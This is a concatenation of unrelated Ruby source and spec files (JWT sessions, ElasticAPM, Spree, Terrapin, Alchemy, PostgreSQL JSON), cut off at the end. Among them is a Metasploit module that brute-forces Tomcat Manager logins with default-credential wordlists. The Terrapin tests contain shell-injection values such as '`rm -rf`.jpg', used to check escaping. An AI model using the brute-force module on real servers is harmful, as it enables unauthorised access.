let(:expire_at) { now + 60 }
let(:jwt_payload) do
{
'iat' => now.to_i,
'exp' => expire_at.to_i,
'iss' => trusted_public_key,
}
end
let(:valid_jwt) do
data = {'iss' => trusted_issuer, 'sub' => 'jwt joe'}
JWT.encode(jwt_payload.merge(data),
trusted_private_key,
algorithm_identifier)
end
let(:expired_jwt) do
data = {'iss' => trusted_issuer, 'sub' => 'jwt joe', 'exp' => Integer(now - 300)}
JWT.encode(jwt_payload.merge(data),
trusted_private_key,
algorithm_identifier)
end
let(:premature_jwt) do
data = {'iss' => trusted_issuer, 'sub' => 'jwt joe', 'nbf' => Integer(now + 10)}
JWT.encode(jwt_payload.merge(data),
trusted_private_key,
algorithm_identifier)
end
let(:forged_jwt) do
data = {'iss' => trusted_issuer, 'sub' => 'jwt joe'}
JWT.encode(jwt_payload.merge(data),
untrusted_private_key,
algorithm_identifier)
end
let(:untrusted_jwt) do
data = {'iss' => 'untrusted', 'sub' => 'jwt joe'}
JWT.encode(jwt_payload.merge(data),
untrusted_private_key,
algorithm_identifier)
end
it 'accepts valid JWTs with suitable issuer' do
session = subject.new(directory, valid_jwt)
expect(session['sub']).to eq('jwt joe')
expect(session.created_at).to be_within(1).of(now)
expect(session.expired_at).to be_within(1).of(expire_at)
end
it 'rejects expired JWTs' do
expect {
subject.new(directory, expired_jwt)
}.to raise_error(GlobalSession::ExpiredSession)
end
it 'rejects not-yet-valid JWTs' do
expect {
subject.new(directory, premature_jwt)
}.to raise_error(GlobalSession::PrematureSession)
end
it 'rejects JWTs with unknown issuer' do
expect {
subject.new(directory, forged_jwt)
}.to raise_error(GlobalSession::InvalidSignature)
end
it 'rejects JWTs with unknown issuer' do
expect {
subject.new(directory, untrusted_jwt)
}.to raise_error(GlobalSession::InvalidSignature)
end
end
context '#to_s' do
it 'returns a valid, signed JWT' do
session = subject.new(directory)
session['sub'] = 'joe schmoe'
payload, header = JWT.decode(session.to_s, trusted_public_key)
expect(header).to eq({'typ'=>'JWT', 'alg'=>algorithm_identifier})
expect(payload['sub']).to eq(session['sub'])
expect(payload['iat']).to eq(session.created_at.to_i)
expect(payload['exp']).to eq(session.expired_at.to_i)
end
end
end
| 29.7975 | 107 | 0.619851 |
085e87ba017537f1a453483155519a14121cc3f6 | 1,024 | # frozen_string_literal: true
module ElasticAPM
RSpec.describe SpanHelpers do
class Thing
include ElasticAPM::SpanHelpers
def do_the_thing
'ok'
end
span_method :do_the_thing
def self.do_all_things
'all ok'
end
span_class_method :do_all_things
end
context 'on class methods', :intercept do
it 'wraps in a span' do
with_agent do
ElasticAPM.with_transaction do
Thing.do_all_things
end
end
expect(@intercepted.spans.length).to be 1
expect(@intercepted.spans.last.name).to eq 'do_all_things'
end
end
context 'on instance methods', :intercept do
it 'wraps in a span' do
thing = Thing.new
with_agent do
ElasticAPM.with_transaction do
thing.do_the_thing
end
end
expect(@intercepted.spans.length).to be 1
expect(@intercepted.spans.last.name).to eq 'do_the_thing'
end
end
end
end
| 21.333333 | 66 | 0.610352 |
e9ff4d3719175330208c4f3c4c3803dc2c162702 | 100 | class DropManifests < ActiveRecord::Migration[5.1]
def change
drop_table :manifests
end
end
| 16.666667 | 50 | 0.75 |
e9d4ed1e8032d9e456a95c37d107a8eb8d413e5e | 3,124 | module Spree::Chimpy
module Interface
class ProductUpserter
delegate :log, :store_api_call, to: Spree::Chimpy
def initialize(product)
@product = product
end
def upsert
return unless @product.id
data = product_hash
begin
if mail_chimp_product_exists?
log "Updating #{@product.name} record in MailChimp"
store_api_call.products(@product.id.to_s).update(body: data)
else
log "#{@product.name} record does not exist in MailChimp. Create it."
store_api_call.products.create(body: data)
end
rescue Gibbon::MailChimpError => e
log "Unable to sync #{@product.name}. [#{e.raw_body}]"
end
end
def mail_chimp_product_exists?
response = store_api_call
.products(@product.id)
.retrieve(params: { "fields" => "id" })
.body
!response["id"].nil?
rescue Gibbon::MailChimpError => e
false
end
def product_hash
root_taxon = Spree::Taxon.where(parent_id: nil).take
taxon = @product.taxons.map(&:self_and_ancestors).flatten.uniq.detect { |t| t.parent == root_taxon }
# assign a default taxon if the product is not associated with a category
taxon = root_taxon if taxon.blank?
all_variants = @product.variants.any? ? @product.variants : [@product.master]
data = {
id: @product.id.to_s,
title: @product.name,
handle: @product.slug,
url: self.class.product_url_or_default(@product),
variants: all_variants.map { |v| self.class.variant_hash(v) },
type: taxon.name
}
if @product.images.any?
data[:image_url] = @product.images.first.attachment.url(:product)
end
if @product.respond_to?(:available_on) && @product.available_on
data[:published_at_foreign] = @product.available_on.to_formatted_s(:db)
end
data
end
def self.variant_hash(variant)
data = {
id: variant.id.to_s,
title: variant.name,
sku: variant.sku,
url: product_url_or_default(variant.product),
price: variant.price.to_f,
inventory_quantity: variant.total_on_hand == Float::INFINITY ? 999 : variant.total_on_hand
}
if variant.images.any?
data[:image_url] = variant_image_url variant
end
data
end
def self.variant_image_url(variant)
if variant.images.any?
variant.images.first.attachment.url(:product)
elsif variant.product.images.any?
variant.product.images.first.attachment.url(:product)
end
end
def self.product_url_or_default(product)
if self.respond_to?(:product_url)
product_url(product)
else
URI::HTTP.build({
host: Spree::Store.current.url.gsub(/(^\w+:|^)\/\//,''),
:path => "/products/#{product.slug}"}
).to_s
end
end
end
end
end
| 29.196262 | 108 | 0.582586 |
e98d2460d11d9fd0473ac9d5bc52d858b1c1032d | 118 | module Homeland
class Username
def self.sanitize(username)
username.gsub(/[^\w.-]/, '_')
end
end
end | 16.857143 | 35 | 0.618644 |
01b697bd27febfc24319a9efa7a73289452d7494 | 1,613 | require File.expand_path('../../../../spec_helper', __FILE__)
require File.expand_path('../../fixtures/classes', __FILE__)
describe "Socket::IPSocket#peeraddr" do
before :each do
@do_not_reverse_lookup = BasicSocket.do_not_reverse_lookup
@server = TCPServer.new("127.0.0.1", SocketSpecs.port)
@client = TCPSocket.new("127.0.0.1", SocketSpecs.port)
end
after :each do
@server.close unless @server.closed?
@client.close unless @client.closed?
BasicSocket.do_not_reverse_lookup = @do_not_reverse_lookup
end
it "raises error if socket is not connected" do
lambda { @server.peeraddr }.should raise_error
end
it "returns an array of information on the peer" do
@client.do_not_reverse_lookup = false
BasicSocket.do_not_reverse_lookup = false
addrinfo = @client.peeraddr
addrinfo[0].should == "AF_INET"
addrinfo[1].should == SocketSpecs.port
addrinfo[2].should == SocketSpecs.hostname
addrinfo[3].should == "127.0.0.1"
end
it "returns an IP instead of hostname if do_not_reverse_lookup is true" do
@client.do_not_reverse_lookup = true
BasicSocket.do_not_reverse_lookup = true
addrinfo = @client.peeraddr
addrinfo[0].should == "AF_INET"
addrinfo[1].should == SocketSpecs.port
addrinfo[2].should == "127.0.0.1"
addrinfo[3].should == "127.0.0.1"
end
it "returns an IP instead of hostname if passed false" do
addrinfo = @client.peeraddr(false)
addrinfo[0].should == "AF_INET"
addrinfo[1].should == SocketSpecs.port
addrinfo[2].should == "127.0.0.1"
addrinfo[3].should == "127.0.0.1"
end
end
| 32.918367 | 76 | 0.698078 |
03c5bf662b0489ccf22209f8af945da0efa7eb6c | 536 | class User < ApplicationRecord
has_many :room_users
has_many :rooms, through: :room_users
def join(room_id)
room = Room.find_by(uid: room_id)
room_user = self.room_users.find_or_create_by(room_id: room.id)
end
def leave(room_id)
room = Room.find_by(uid: room_id)
room_user = self.room_users.find_by(room_id: room.id)
room_user.destroy if room_user
end
def member?(room_id)
room = Room.find_by(uid: room_id)
return self.room_users.find_by(room_id: room.id, user_id: self.id) != nil
end
end
| 25.52381 | 77 | 0.718284 |
8716355e50f492bbcb9c8a3872e6c057a87508c5 | 5,163 | ##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Tomcat Application Manager Login Utility',
'Description' => 'This module simply attempts to login to a Tomcat Application Manager instance using a specific user/pass.',
'References' =>
[
# HP Default Operations Manager user/pass
[ 'CVE', '2009-3843' ],
[ 'OSVDB', '60317' ],
[ 'BID', '37086' ],
[ 'CVE', '2009-4189' ],
[ 'OSVDB', '60670' ],
[ 'URL', 'http://www.harmonysecurity.com/blog/2009/11/hp-operations-manager-backdoor-account.html' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-085/' ],
# HP Default Operations Dashboard user/pass
[ 'CVE', '2009-4188' ],
# IBM Cognos Express Default user/pass
[ 'BID', '38084' ],
[ 'CVE', '2010-0557' ],
[ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21419179' ],
# IBM Rational Quality Manager and Test Lab Manager
[ 'CVE', '2010-4094' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-214/' ],
# 'admin' password is blank in default Windows installer
[ 'CVE', '2009-3548' ],
[ 'OSVDB', '60176' ],
[ 'BID', '36954' ],
# General
[ 'URL', 'http://tomcat.apache.org/' ],
[ 'CVE', '1999-0502'] # Weak password
],
'Author' => [ 'MC', 'Matteo Cantoni <goony[at]nothink.org>', 'jduck' ],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(8080),
OptString.new('URI', [true, "URI for Manager login. Default is /manager/html", "/manager/html"]),
OptPath.new('USERPASS_FILE', [ false, "File containing users and passwords separated by space, one pair per line",
File.join(Msf::Config.install_root, "data", "wordlists", "tomcat_mgr_default_userpass.txt") ]),
OptPath.new('USER_FILE', [ false, "File containing users, one per line",
File.join(Msf::Config.install_root, "data", "wordlists", "tomcat_mgr_default_users.txt") ]),
OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line",
File.join(Msf::Config.install_root, "data", "wordlists", "tomcat_mgr_default_pass.txt") ]),
], self.class)
register_autofilter_ports([ 80, 443, 8080, 8081, 8000, 8008, 8443, 8444, 8880, 8888, 9080, 19300 ])
end
def run_host(ip)
begin
uri = normalize_uri(datastore['URI'])
res = send_request_cgi({
'uri' => uri,
'method' => 'GET',
'username' => Rex::Text.rand_text_alpha(8)
}, 25)
http_fingerprint({ :response => res })
rescue ::Rex::ConnectionError => e
vprint_error("http://#{rhost}:#{rport}#{uri} - #{e}")
return
end
if not res
vprint_error("http://#{rhost}:#{rport}#{uri} - No response")
return
end
if res.code != 401
vprint_error("http://#{rhost}:#{rport} - Authorization not requested")
return
end
each_user_pass { |user, pass|
do_login(user, pass)
}
end
def do_login(user='tomcat', pass='tomcat')
vprint_status("#{rhost}:#{rport} - Trying username:'#{user}' with password:'#{pass}'")
success = false
srvhdr = '?'
uri = normalize_uri(datastore['URI'])
begin
res = send_request_cgi({
'uri' => uri,
'method' => 'GET',
'username' => user,
'password' => pass
}, 25)
unless (res.kind_of? Rex::Proto::Http::Response)
vprint_error("http://#{rhost}:#{rport}#{uri} not responding")
return :abort
end
return :abort if (res.code == 404)
srvhdr = res.headers['Server']
if res.code == 200
# Could go with res.headers['Server'] =~ /Apache-Coyote/i
# as well but that seems like an element someone's more
# likely to change
success = true if(res.body.scan(/Tomcat/i).size >= 5)
success
end
rescue ::Rex::ConnectionError => e
vprint_error("http://#{rhost}:#{rport}#{uri} - #{e}")
return :abort
end
if success
print_good("http://#{rhost}:#{rport}#{uri} [#{srvhdr}] [Tomcat Application Manager] successful login '#{user}' : '#{pass}'")
report_auth_info(
:host => rhost,
:port => rport,
:sname => (ssl ? 'https' : 'http'),
:user => user,
:pass => pass,
:proof => "WEBAPP=\"Tomcat Application Manager\"",
:source_type => "user_supplied",
:duplicate_ok => true,
:active => true
)
return :next_user
else
vprint_error("http://#{rhost}:#{rport}#{uri} [#{srvhdr}] [Tomcat Application Manager] failed to login as '#{user}'")
return
end
end
end
| 34.192053 | 134 | 0.56963 |
1864824fa600ce14bb48d4f7f39f0ff41c33a8bd | 121 | class Sharder
class Railtie < Rails::Railtie
rake_tasks do
load "tasks/sharder_tasks.rake"
end
end
end
| 15.125 | 37 | 0.68595 |
18614b860d5ea2f1fc99e4e21d80f9aebece6cd6 | 2,685 | desc "Generate ElasticBeanstalk configuration template"
namespace :awseb do
task :generate_config_template do
require 'securerandom'
require 'highline/import'
require 'yaml'
require 'aws-sdk'
require 'aws-sdk-resources'
require 'json'
templates_path = File.dirname(__FILE__) + '/templates/'
elasticbeanstalk_template_path = "#{templates_path}elasticbeanstalk.template"
template_option_values_path = "#{templates_path}template_option_values.rb"
application_name = Rails.application.class.to_s.split('::').first
unless File.exist?(elasticbeanstalk_template_path) && File.exist?(template_option_values_path)
puts "Missing templates..."
exit
end
# Load options values
require "#{templates_path}template_option_values.rb"
require "#{File.dirname(__FILE__)}/helpers.rb"
configuration_template_name = ask "Type the configuration template name : "
configuration_template_name ||= application_name
if File.exist?('./.elasticbeanstalk')
generated_configuration_template_path = "./.elasticbeanstalk/#{configuration_template_name}.cfg.yml"
else
Dir.mkdir('./generated_templates')
generated_configuration_template_path = "./generated_templates/#{configuration_template_name}.cfg.yml"
end
## Generate configuration file
configuration_template_file = File.new(generated_configuration_template_path, 'w')
File.open(elasticbeanstalk_template_path).each do |line|
## Line contains variable to replace
regex = /{{([a-zA-Z0-9\-\_]*)}}/i
if line.match(regex)
result = ''
variable_name = line.match(regex)[0]
cleaned_variable_name = variable_name.gsub(/({|})/i, '')
formatted_variable_name = cleaned_variable_name.gsub(/\_/i, ' ')
## Available values list
if TEMPLATE_OPTION_VALUES.has_key?(cleaned_variable_name.to_sym) && TEMPLATE_OPTION_VALUES[cleaned_variable_name.to_sym][:values]
result = ask_from_select(formatted_variable_name, TEMPLATE_OPTION_VALUES[cleaned_variable_name.to_sym][:values])
## Specific values
elsif TEMPLATE_OPTION_VALUES.has_key?(cleaned_variable_name.to_sym)
result = ask_value(TEMPLATE_OPTION_VALUES[cleaned_variable_name.to_sym], cleaned_variable_name, formatted_variable_name)
## Default case
else
result = ask "#{formatted_variable_name} ? "
end
configuration_template_file.puts line.gsub(regex, result.to_s)
else
configuration_template_file.puts line
end
end
configuration_template_file.close
end
end
| 38.913043 | 137 | 0.704283 |
080247d20b3ad73046929341c6b5a5a491e47c28 | 3,452 | # frozen_string_literal: true
# == Schema Information
#
# Table name: alchemy_attachments
#
# id :integer not null, primary key
# name :string
# file_name :string
# file_mime_type :string
# file_size :integer
# creator_id :integer
# updater_id :integer
# created_at :datetime not null
# updated_at :datetime not null
# cached_tag_list :text
# file_uid :string
#
module Alchemy
class Attachment < BaseRecord
include Alchemy::Filetypes
include Alchemy::NameConversions
include Alchemy::Taggable
include Alchemy::TouchElements
dragonfly_accessor :file, app: :alchemy_attachments do
after_assign { |f| write_attribute(:file_mime_type, f.mime_type) }
end
stampable stamper_class_name: Alchemy.user_class_name
has_many :essence_files, class_name: "Alchemy::EssenceFile", foreign_key: "attachment_id"
has_many :contents, through: :essence_files
has_many :elements, through: :contents
has_many :pages, through: :elements
# We need to define this method here to have it available in the validations below.
class << self
def searchable_alchemy_resource_attributes
%w(name file_name)
end
def allowed_filetypes
Config.get(:uploader).fetch("allowed_filetypes", {}).fetch("alchemy/attachments", [])
end
def file_types_for_select
file_types = Alchemy::Attachment.pluck(:file_mime_type).uniq.map do |type|
[Alchemy.t(type, scope: "mime_types"), type]
end
file_types.sort_by(&:first)
end
end
validates_presence_of :file
validates_size_of :file, maximum: Config.get(:uploader)["file_size_limit"].megabytes
validates_property :ext,
of: :file,
in: allowed_filetypes,
case_sensitive: false,
message: Alchemy.t("not a valid file"),
unless: -> { self.class.allowed_filetypes.include?("*") }
before_save :set_name, if: :file_name_changed?
scope :with_file_type, ->(file_type) { where(file_mime_type: file_type) }
# Instance methods
def to_jq_upload
{
"name" => read_attribute(:file_name),
"size" => read_attribute(:file_size),
"error" => errors[:file].join,
}
end
# An url save filename without format suffix
def urlname
CGI.escape(file_name.gsub(/\.#{extension}$/, "").tr(".", " "))
end
# Checks if the attachment is restricted, because it is attached on restricted pages only
def restricted?
pages.any? && pages.not_restricted.blank?
end
# File format suffix
def extension
file_name.split(".").last
end
alias_method :suffix, :extension
# Returns a css class name for kind of file
#
def icon_css_class
case file_mime_type
when "application/pdf"
"file-pdf"
when "application/msword"
"file-word"
when *TEXT_FILE_TYPES
"file-alt"
when *EXCEL_FILE_TYPES
"file-excel"
when *VCARD_FILE_TYPES
"address-card"
when *ARCHIVE_FILE_TYPES
"file-archive"
when *AUDIO_FILE_TYPES
"file-audio"
when *IMAGE_FILE_TYPES
"file-image"
when *VIDEO_FILE_TYPES
"file-video"
else
"file"
end
end
private
def set_name
self.name = convert_to_humanized_name(file_name, file.ext)
end
end
end
| 26.553846 | 93 | 0.642236 |
f8677bf81f6760e6df8e86d8efbd3106b422121c | 7,833 | require 'spec_helper'
describe Terrapin::CommandLine do
before do
Terrapin::CommandLine.path = nil
on_unix! # Assume we're on unix unless otherwise specified.
end
it "takes a command and parameters and produces a Bash command line" do
cmd = Terrapin::CommandLine.new("convert", "a.jpg b.png", :swallow_stderr => false)
cmd.command.should == "convert a.jpg b.png"
end
it "specifies the $PATH where the command can be found on unix" do
Terrapin::CommandLine.path = ["/path/to/command/dir", "/"]
cmd = Terrapin::CommandLine.new("ls")
cmd.command.should == "PATH=/path/to/command/dir:/:$PATH; ls"
end
it "specifies the %PATH% where the command can be found on windows" do
on_windows!
Terrapin::CommandLine.path = ['C:\system32', 'D:\\']
cmd = Terrapin::CommandLine.new("dir")
cmd.command.should == 'SET PATH=C:\system32;D:\;%PATH% & dir'
end
it "specifies more than one path where the command can be found" do
Terrapin::CommandLine.path = ["/path/to/command/dir", "/some/other/path"]
cmd = Terrapin::CommandLine.new("ruby", "-e 'puts ENV[%{PATH}]'")
output = cmd.run
output.should match(%r{/path/to/command/dir})
output.should match(%r{/some/other/path})
end
it "temporarily changes specified environment variables" do
Terrapin::CommandLine.environment['TEST'] = 'Hello, world!'
cmd = Terrapin::CommandLine.new("ruby", "-e 'puts ENV[%{TEST}]'")
output = cmd.run
output.should match(%r{Hello, world!})
end
it 'changes environment variables for the command line' do
Terrapin::CommandLine.environment['TEST'] = 'Hello, world!'
cmd = Terrapin::CommandLine.new("ruby",
"-e 'puts ENV[%{TEST}]'",
:environment => {'TEST' => 'Hej hej'})
output = cmd.run
output.should match(%r{Hej hej})
end
it 'passes the existing environment variables through to the runner' do
command = Terrapin::CommandLine.new('echo', '$HOME')
output = command.run
output.chomp.should_not == ''
end
it "can interpolate quoted variables into the command line's parameters" do
cmd = Terrapin::CommandLine.new("convert",
":one :{two}",
:swallow_stderr => false)
command_string = cmd.command(:one => "a.jpg", :two => "b.png")
command_string.should == "convert 'a.jpg' 'b.png'"
end
it 'does not over-interpolate in a command line' do
cmd = Terrapin::CommandLine.new("convert",
":hell :{two} :hello",
:swallow_stderr => false)
command_string = cmd.command(:hell => "a.jpg", :two => "b.png", :hello => "c.tiff")
command_string.should == "convert 'a.jpg' 'b.png' 'c.tiff'"
end
it "interpolates when running a command" do
command = Terrapin::CommandLine.new("echo", ":hello_world")
command.run(:hello_world => "Hello, world").should match(/Hello, world/)
end
it "interpolates any Array arguments when running a command" do
command = Terrapin::CommandLine.new("echo", "Hello :worlds and :dwarfs")
command.command(:worlds => %w[mercury venus earth], :dwarfs => "pluto").should == "echo Hello 'mercury' 'venus' 'earth' and 'pluto'"
end
it "quotes command line options differently if we're on windows" do
on_windows!
cmd = Terrapin::CommandLine.new("convert",
":one :{two}",
:swallow_stderr => false)
command_string = cmd.command(:one => "a.jpg", :two => "b.png")
command_string.should == 'convert "a.jpg" "b.png"'
end
it "can quote and interpolate dangerous variables" do
cmd = Terrapin::CommandLine.new("convert",
":one :two",
:swallow_stderr => false)
command_string = cmd.command(:one => "`rm -rf`.jpg", :two => "ha'ha.png'")
command_string.should == "convert '`rm -rf`.jpg' 'ha'\\''ha.png'\\'''"
end
it 'cannot recursively introduce a place where user-supplied commands can run' do
cmd = Terrapin::CommandLine.new('convert', ':foo :bar')
cmd.command(:foo => ':bar', :bar => '`rm -rf`').should == 'convert \':bar\' \'`rm -rf`\''
end
it "can quote and interpolate dangerous variables even on windows" do
on_windows!
cmd = Terrapin::CommandLine.new("convert",
":one :two",
:swallow_stderr => false)
command_string = cmd.command(:one => "`rm -rf`.jpg", :two => "ha'ha.png")
command_string.should == %{convert "`rm -rf`.jpg" "ha'ha.png"}
end
it "quotes blank values into the command line's parameters" do
cmd = Terrapin::CommandLine.new("curl",
"-X POST -d :data :url",
:swallow_stderr => false)
command_string = cmd.command(:data => "", :url => "http://localhost:9000")
command_string.should == "curl -X POST -d '' 'http://localhost:9000'"
end
it "allows colons in parameters" do
cmd = Terrapin::CommandLine.new("convert", "'a.jpg' xc:black 'b.jpg'", :swallow_stderr => false)
cmd.command.should == "convert 'a.jpg' xc:black 'b.jpg'"
end
it 'handles symbols in user supplied values' do
cmd = Terrapin::CommandLine.new("echo", ":foo")
command_string = cmd.command(:foo => :bar)
command_string.should == "echo 'bar'"
end
it "can redirect stderr to the bit bucket if requested" do
cmd = Terrapin::CommandLine.new("convert",
"a.jpg b.png",
:swallow_stderr => true)
cmd.command.should == "convert a.jpg b.png 2>/dev/null"
end
it "can redirect stderr to the bit bucket on windows" do
on_windows!
cmd = Terrapin::CommandLine.new("convert",
"a.jpg b.png",
:swallow_stderr => true)
cmd.command.should == "convert a.jpg b.png 2>NUL"
end
it "runs the command it's given and returns the output" do
cmd = Terrapin::CommandLine.new("echo", "hello", :swallow_stderr => false)
expect(cmd.run).to eq "hello\n"
end
it "runs the command it's given and allows access to stdout afterwards" do
cmd = Terrapin::CommandLine.new("echo", "hello", :swallow_stderr => false)
cmd.run
expect(cmd.command_output).to eq "hello\n"
end
it "colorizes the output to a tty" do
logger = FakeLogger.new(:tty => true)
Terrapin::CommandLine.new("echo", "'Logging!' :foo", :logger => logger).run(:foo => "bar")
logger.entries.should include("\e[32mCommand\e[0m :: echo 'Logging!' 'bar'")
end
it 'can still take something that does not respond to tty as a logger' do
output_buffer = StringIO.new
logger = best_logger.new(output_buffer)
logger.should_not respond_to(:tty?)
Terrapin::CommandLine.new("echo", "'Logging!' :foo", :logger => logger).run(:foo => "bar")
output_buffer.rewind
output_buffer.read.should == "Command :: echo 'Logging!' 'bar'\n"
end
it "logs the command to a supplied logger" do
logger = FakeLogger.new
Terrapin::CommandLine.new("echo", "'Logging!' :foo", :logger => logger).run(:foo => "bar")
logger.entries.should include("Command :: echo 'Logging!' 'bar'")
end
it "logs the command to a default logger" do
Terrapin::CommandLine.logger = FakeLogger.new
Terrapin::CommandLine.new("echo", "'Logging!'").run
Terrapin::CommandLine.logger.entries.should include("Command :: echo 'Logging!'")
end
it "is fine if no logger is supplied" do
Terrapin::CommandLine.logger = nil
cmd = Terrapin::CommandLine.new("echo", "'Logging!'", :logger => nil)
lambda { cmd.run }.should_not raise_error
end
end
| 39.964286 | 136 | 0.609473 |
26dd302cd00d6f50634a2417acdc1f281b6baa3a | 600 | class ApplicationController < ActionController::Base
protect_from_forgery prepend: true
before_action :authenticate_user!, unless: :api_path
before_action :update_allowed_parameters, if: :devise_controller?
protected
def update_allowed_parameters
devise_parameter_sanitizer.permit(:sign_up) do |u|
u.permit(:name, :email, :password, :password_confirmation)
end
devise_parameter_sanitizer.permit(:account_update) do |u|
u.permit(:name, :surname, :email, :password, :current_password)
end
end
def api_path
request.original_url.include?('api')
end
end
| 28.571429 | 69 | 0.755 |
edd91d0bee93d2c218b19b2d38961a1a95320a84 | 1,626 | class Id3ed < Formula
desc "ID3 tag editor for MP3 files"
homepage "http://code.fluffytapeworm.com/projects/id3ed"
url "http://code.fluffytapeworm.com/projects/id3ed/id3ed-1.10.4.tar.gz"
sha256 "56f26dfde7b6357c5ad22644c2a379f25fce82a200264b5d4ce62f2468d8431b"
license "GPL-2.0"
bottle do
cellar :any_skip_relocation
sha256 "a560e42fb11482b14d22079ffa0ffb2dd2307f5e740b22acd2636b4fa6e4a307" => :big_sur
sha256 "9520d236327bce01cc292421934e19476163d8d72b4848740d3067cbc71b2572" => :catalina
sha256 "2079b26fd26395f4eb016c61afafa007045d7b87b5030b05650705959c3bd87a" => :mojave
sha256 "c31762b13640d1e9713ea26df41d5e9cb675a8d3565cd84b70efc526663ddfb8" => :high_sierra
sha256 "e930552e37599e7926efebaf0d893f888576a26bddef6a91e356cf1b5de15b9e" => :sierra
sha256 "6448c8e19c8e0874ed5141193c7db06c443ac6c33ab2f6bbe8811098b063c0d1" => :el_capitan
sha256 "8ca64da5c8c0cbbc7ec64af436fcf3a7ae457c8d8a8073887fc63ec4e89c98b9" => :yosemite
sha256 "8dd4a14922e94245dd016a266aa23c7bcebb18a56e574c8179df83c2d68ff23c" => :mavericks
sha256 "050157cef994a66e202493f0d743ae55ede79191a54fdbe4beac1d8753ad150d" => :x86_64_linux
end
def install
system "./configure", "--disable-debug",
"--disable-dependency-tracking",
"--disable-silent-rules",
"--prefix=#{prefix}",
"--bindir=#{bin}/",
"--mandir=#{man1}"
bin.mkpath
man1.mkpath
system "make", "install"
end
test do
system "#{bin}/id3ed", "-r", "-q", test_fixtures("test.mp3")
end
end
| 43.945946 | 94 | 0.718327 |
7a928861b70477fb05887c1fda2fb984677138d8 | 1,067 | module Registries
class ManualsRegistry < Registry
include CacheableRegistry
delegate :[], to: :manuals
def values
manuals
end
def cache_key
"registries/manuals"
end
private
def cacheable_data
manuals_as_hash
end
def manuals
@manuals ||= fetch_from_cache
end
def report_error
GovukStatsd.increment("registries.manuals_api_errors")
end
def manuals_as_hash
GovukStatsd.time("registries.manuals.request_time") do
fetch_manuals_from_rummager
.reject { |manual| manual["_id"].empty? || manual["title"].empty? }
.each_with_object({}) do |manual, manuals|
manuals[manual["_id"]] = { "title" => manual["title"], "slug" => manual["_id"] }
end
end
end
def fetch_manuals_from_rummager
params = {
filter_document_type: %w[manual service_manual_homepage service_manual_guide],
fields: %w[title],
count: 1500,
}
Services.rummager.search(params)["results"]
end
end
end
| 21.77551 | 92 | 0.626992 |
212334bb3102e063246ac0404014c6a6ccc520a9 | 2,007 | module Remarkable
# This class is responsable for converting matchers to macros. You shouldn't
# worry with what happens here, because it happens automatically.
#
module Macros
protected
def method_missing(method_id, *args, &block) #:nodoc:
if method_id.to_s =~ /^(should_not|should)_(.+)/
should_or_should_not_method_missing($1, $2, caller, *args, &block)
elsif method_id.to_s =~ /^x(should_not|should)_(.+)/
disabled_method_missing($1, $2, *args, &block)
else
super(method_id, *args, &block)
end
end
def should_or_should_not_method_missing(should_or_should_not, method, calltrace, *args, &block) #:nodoc:
description = if @_pending_group
get_description_from_matcher(should_or_should_not, method, *args, &block)
else
nil
end
example(description){
begin
send(should_or_should_not, send(method, *args, &block))
rescue Exception => e
trace = e.backtrace.to_a + calltrace.to_a
e.set_backtrace(trace)
raise e
end
}
end
def disabled_method_missing(should_or_should_not, method, *args, &block) #:nodoc:
description = get_description_from_matcher(should_or_should_not, method, *args, &block)
xexample(description)
end
# Try to get the description from the matcher. If an error is raised, we
# deduct the description from the matcher name, but it will be shown in
# english.
#
def get_description_from_matcher(should_or_should_not, method, *args, &block) #:nodoc:
verb = should_or_should_not.to_s.gsub('_', ' ')
desc = Remarkable::Matchers.send(method, *args, &block).spec(self).description
verb = Remarkable.t("remarkable.core.#{should_or_should_not}", :default => verb)
rescue
desc = method.to_s.gsub('_', ' ')
ensure
verb << ' ' << desc
end
end
end
| 34.016949 | 110 | 0.629297 |
879e931d4c5ea4ea0fff1a3b888bcac73def5940 | 718 | require 'json'
package = JSON.parse(File.read(File.join(__dir__, '..', 'package.json')))
Pod::Spec.new do |s|
s.name = 'EXLocation'
s.version = package['version']
s.summary = package['description']
s.description = package['description']
s.license = package['license']
s.author = package['author']
s.homepage = package['homepage']
s.platform = :ios, '10.0'
s.source = { git: 'https://github.com/expo/expo.git' }
s.source_files = 'EXLocation/**/*.{h,m}'
s.preserve_paths = 'EXLocation/**/*.{h,m}'
s.requires_arc = true
s.dependency 'UMCore'
s.dependency 'UMPermissionsInterface'
s.dependency 'UMTaskManagerInterface'
end
| 31.217391 | 73 | 0.610028 |
61d4e2b8aea3dafe15e7b0e981dc1140f6a6d08d | 4,997 | # encoding: utf-8
require "cases/helper"
require 'active_record/base'
require 'active_record/connection_adapters/postgresql_adapter'
class PostgresqlJSONTest < ActiveRecord::TestCase
class JsonDataType < ActiveRecord::Base
self.table_name = 'json_data_type'
store_accessor :settings, :resolution
end
def setup
@connection = ActiveRecord::Base.connection
begin
@connection.transaction do
@connection.create_table('json_data_type') do |t|
t.json 'payload', :default => {}
t.json 'settings'
end
end
rescue ActiveRecord::StatementInvalid
skip "do not test on PG without json"
end
@column = JsonDataType.columns_hash['payload']
end
teardown do
@connection.execute 'drop table if exists json_data_type'
end
def test_column
column = JsonDataType.columns_hash["payload"]
assert_equal :json, column.type
assert_equal "json", column.sql_type
assert_not column.number?
assert_not column.text?
assert_not column.binary?
assert_not column.array
end
def test_default
@connection.add_column 'json_data_type', 'permissions', :json, default: '{"users": "read", "posts": ["read", "write"]}'
JsonDataType.reset_column_information
column = JsonDataType.columns_hash["permissions"]
assert_equal({"users"=>"read", "posts"=>["read", "write"]}, column.default)
assert_equal({"users"=>"read", "posts"=>["read", "write"]}, JsonDataType.new.permissions)
ensure
JsonDataType.reset_column_information
end
def test_change_table_supports_json
@connection.transaction do
@connection.change_table('json_data_type') do |t|
t.json 'users', default: '{}'
end
JsonDataType.reset_column_information
column = JsonDataType.columns_hash['users']
assert_equal :json, column.type
raise ActiveRecord::Rollback # reset the schema change
end
ensure
JsonDataType.reset_column_information
end
def test_cast_value_on_write
x = JsonDataType.new payload: {"string" => "foo", :symbol => :bar}
assert_equal({"string" => "foo", "symbol" => "bar"}, x.payload)
x.save
